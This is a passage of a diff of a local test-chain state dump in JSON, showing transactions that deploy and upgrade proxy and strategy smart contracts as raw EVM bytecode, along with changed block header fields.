"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "r": "0x7010d32e53c3de99ade90e4969b936bf774fa7ba08a70148efb95611f35d00d5", - "s": "0x5b017d16807d0f8c1e2e316aa8fd82bc12e79a7c98281c383ca0fa1e70411dbf", - "yParity": "0x0", - "hash": "0x270f5665c89b4abca1028c602097170fb3da69543a0a0d50d7b432b3900a04b6" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x4", + "nonce": "0x1c", "gas": "0xb5dcb", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "value": "0x0", "accessList": [], - "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "r": "0xbb3f68ee3180c27d72b405e0f026c2f0850752c24689f47c6e300eaa43515180", - "s": "0x34b3b278acb7bf45b95f7e3f8846f22f72104101a486fcfca6bf91b3cbf5799", + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0x56d265428f41b7d289c0b47e8f35b49b989f87bf3f436f8d43ca53bb22ed0899", + "s": "0x2f25aa38005e8190fc880bdf0c4ef2d515a9b0681ccda7761be0697f7b25935", "yParity": "0x1", - "hash": "0x83cbcad6bf507df8c527396595303607713f92c0dfbcc85a90b9df7d1bc1d335" + "hash": "0x4154efff037885fdbd446de052ff962a3268f9154c1ba5b93708572a33ee3503" } }, "impersonated_sender": null @@ -1281,22 +1158,22 @@ }, { "header": { - "parentHash": "0x779004e829c9c04f554cee3ea7aa3dec86c97479e1e767deca9aff40423b5f80", + "parentHash": "0x48af7361a06c7aed357eda74eaee8832f274a4f9be0814d90ac4d2f3ae8f61bc", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x2cfec109529479972327010095a92bab4c312de8bb34000e04238804c382c020", - "transactionsRoot": "0x8facca55bd95fb60ee6f8928025e092becc5cb4845f369bb6baa7ad0371d4939", - "receiptsRoot": "0x4b4d81a26c41bb3811371680e16ddc1e252fb315c6b70c672a95e7e9f4055196", + "stateRoot": "0x239bb1d98776b79773de86b7293ff372d43d3b1148d1c92ee0a29a694223cbf3", + "transactionsRoot": "0x319b92743eaae8cad0acda5805be904417e27bff4def8df753a52c1226e5b7e1", + "receiptsRoot": "0x904200dcda02c7eaf1216bd5d21c939bc9e84ab479ca888f95c64bbe3f5b42c2", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000001000000000000040000000400000000000000200800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004200000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000", + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x11", + "number": "0x12", "gasLimit": "0x1c9c380", - "gasUsed": "0x1ad6e5", - "timestamp": "0x67212bff", + "gasUsed": "0xa6ef", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x940212f", + "baseFeePerGas": "0x8126abc", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1307,37 +1184,18 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x19", - "gas": "0x2fd25", + "nonce": "0x15", + "gas": "0xe692", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000", - "r": "0x8e742eeb3501951f3637ef8abf577c12b775568e211ef0dfbe56d2fb89698a02", - "s": "0x1a316d4767931d39813d98ddcf17a38c0889b59f73dd964d86c784d658734b48", + "input": "0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "r": "0x5f44cefb759d52a39147633a4bffe9cf3a873902abed2277084b63e9ef2ff757", + "s": "0x342c1e6c76de08e20423d316dd192a43702c63b8c2825043d3b0dcb69d70f5db", "yParity": "0x0", - "hash": "0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x1a", - "gas": "0x2011a3", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": "0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335